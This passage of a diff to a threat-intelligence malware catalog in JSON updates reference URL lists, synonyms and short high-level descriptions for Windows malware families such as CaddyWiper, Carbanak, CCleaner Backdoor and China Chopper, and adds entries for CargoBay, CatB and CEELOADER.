"https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", "https://n0p.me/2022/03/2022-03-26-caddywiper/", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - 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"https://twitter.com/ESETresearch/status/1503436420886712321", - "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", "https://cert.gov.ua/article/39518", - "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine", + "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", "https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/", - "https://twitter.com/silascutler/status/1513870210398363651", + "https://cert.gov.ua/article/3718487", "https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html", + "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", + "https://twitter.com/HackPatch/status/1503538555611607042", + "https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/", + "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://twitter.com/ESETresearch/status/1503436420886712321", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecuritynews.com/destructive-data-wiper-malware/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://twitter.com/HackPatch/status/1503538555611607042", - "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine" + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions", + "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/" ], "synonyms": [ "KillDisk.NCX" @@ -15901,23 +16951,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy", - "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", + "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" ], "synonyms": [ "Cadelle" ], "type": [] }, - "related": [ - { - "dest-uuid": "38d6a0a1-0388-40d4-b8f4-1d58eeb9a07d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cad83c5e-2081-4ab4-81c7-32cfc16eae66", "value": "CadelSpy" }, @@ -15926,9 +16967,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn", - "https://www.youtube.com/watch?v=3cUWjojQXWE", "https://twitter.com/8th_grey_owl/status/1357550261963689985", - "https://www.datanet.co.kr/news/articleView.html?idxno=133346" + "https://www.datanet.co.kr/news/articleView.html?idxno=133346", + "https://www.youtube.com/watch?v=3cUWjojQXWE" ], "synonyms": [], "type": [] @@ -15956,11 +16997,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader", - "https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/", + "https://blog.group-ib.com/prometheus-tds", "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://unit42.paloaltonetworks.com/bazarloader-malware/", - "https://blog.group-ib.com/prometheus-tds" + "https://unit42.paloaltonetworks.com/bazarloader-malware/" ], "synonyms": [], "type": [] @@ -15999,9 +17040,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon", - "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", + "https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html", "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html" + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/" ], "synonyms": [], "type": [] @@ -16010,29 +17051,33 @@ "value": "Cannon" }, { - "description": "", + "description": "MyCERT states that Carbanak is a remote backdoor designed for espionage, data exfiltration, and to remote control.\r\n\r\nThe attacker deploy malware via spear phishing email to lure the user to open and run the malicious attachment that will infect the machine. The main objective of this campaign is primarily to remotely control the infected machine and gain control of the internal destinations of money processing services such as Automated Teller Machines(ATM) and financial accounts. The following information are the malware capabilities:\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak", - "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://threatintel.blog/OPBlueRaven-Part2/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://unit42.paloaltonetworks.com/atoms/mulelibra/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html", - "https://threatintel.blog/OPBlueRaven-Part1/", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://threatintel.blog/OPBlueRaven-Part2/", + "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html" + "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", + "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", + "https://www.prodaft.com/m/reports/FIN7_TLPCLEAR.pdf", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", + "https://unit42.paloaltonetworks.com/atoms/mulelibra/", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" ], "synonyms": [ "Anunak", @@ -16048,10 +17093,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp", - "https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", + "https://blog.avast.com/2013/04/08/carberp_epitaph/", "https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blog.avast.com/2013/04/08/carberp_epitaph/" + "https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree" ], "synonyms": [], "type": [] @@ -16064,26 +17111,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1d9fbf33-faea-40c1-b543-c7b39561f0ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3d3da4c0-004c-400c-9da6-f83fd35d907e", "value": "Cardinal RAT" }, + { + "description": "CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from 'Black Hat Rust' GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay", + "https://exchange.xforce.ibmcloud.com/malware-analysis/guid:87abff769352d8208e403331c86eb95f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cfdc931d-d3da-4b2a-9fef-42592c0f5c5f", + "value": "CargoBay" + }, { "description": "CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.", "meta": { @@ -16121,18 +17175,23 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "63b3e6fb-9bb8-43dc-9cbf-7681b049b5d6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3198501e-0ff0-43b7-96f0-321b463ab656", "value": "Casper" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb", + "https://minerva-labs.com/blog/new-catb-ransomware-employs-2-year-old-dll-hijacking-technique-to-evade-detection/", + "https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a96445d6-4bbb-4b9a-a761-83759108a403", + "value": "CatB" + }, { "description": "", "meta": { @@ -16147,31 +17206,31 @@ "value": "Catchamas" }, { - "description": "", + "description": "According to CrowdStrike, this backdoor was discovered embedded in the legitimate, signed version of CCleaner 5.33, and thus constitutes a supply chain attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://risky.biz/whatiswinnti/", - "https://stmxcsr.com/persistence/print-processor.html", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", - "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", - "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html", - "https://blog.avast.com/progress-on-ccleaner-investigation", - "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", - "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", - "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/", - "https://twitter.com/craiu/status/910148928796061696", - "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", - "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", - "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", "https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident", - "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + "https://risky.biz/whatiswinnti/", + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/", + "https://blog.avast.com/progress-on-ccleaner-investigation", + "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", + "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", + "https://twitter.com/craiu/status/910148928796061696", + "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", + "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", + "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", + "https://stmxcsr.com/persistence/print-processor.html", + "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" ], "synonyms": [ "DIRTCLEANER" @@ -16181,6 +17240,19 @@ "uuid": "c51ee09b-fc2d-41fd-a43b-426a4f337139", "value": "CCleaner Backdoor" }, + { + "description": "Mandiant characterizes this malware as a downloader and shellcode stager.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader", + "https://www.mandiant.com/resources/blog/russian-targeting-gov-business" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0333d13e-e01f-46cd-a030-448bbf043c10", + "value": "CEELOADER" + }, { "description": "", "meta": { @@ -16201,22 +17273,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", - "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s" + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], "type": [] @@ -16281,24 +17354,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot", - "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", + "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/", "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", - "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" + "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a032460e-c54c-11e8-9965-43b7b6469a65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "36f9a5e0-9a78-4b9a-9072-1596c91b59b6", "value": "Chainshot" }, @@ -16320,15 +17384,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos", + "https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html", "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", - "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", - "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", "https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging", "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/", - "https://twitter.com/vinopaljiri/status/1519645742440329216", - "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", + "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", - "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html" + "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", + "https://twitter.com/vinopaljiri/status/1519645742440329216", + "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/" ], "synonyms": [ "FakeRyuk", @@ -16338,7 +17403,7 @@ "type": [] }, "uuid": "fb760029-9331-4ba0-b644-d47a8e6d3ad2", - "value": "Chaos" + "value": "Chaos (Windows)" }, { "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", @@ -16376,11 +17441,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches", "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "https://www.jpcert.or.jp/magazine/acreport-ChChes.html", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html", + "https://www.jpcert.or.jp/magazine/acreport-ChChes.html", "https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html" ], "synonyms": [ "HAYMAKER", @@ -16396,8 +17461,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c", "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf" ], "synonyms": [ @@ -16426,8 +17491,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html" ], "synonyms": [ "cherry_picker", @@ -16457,78 +17523,79 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", - "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", - "https://attack.mitre.org/groups/G0125/", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/", - 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"https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://twitter.com/ESETresearch/status/1366862946488451088", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", + "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/", + "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", + "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -16566,7 +17633,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto", - 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"https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", + "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://community.riskiq.com/article/5fe2da7f", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", + "https://nao-sec.org/2021/01/royal-road-redive.html", "https://community.riskiq.com/article/56fa1b2f", 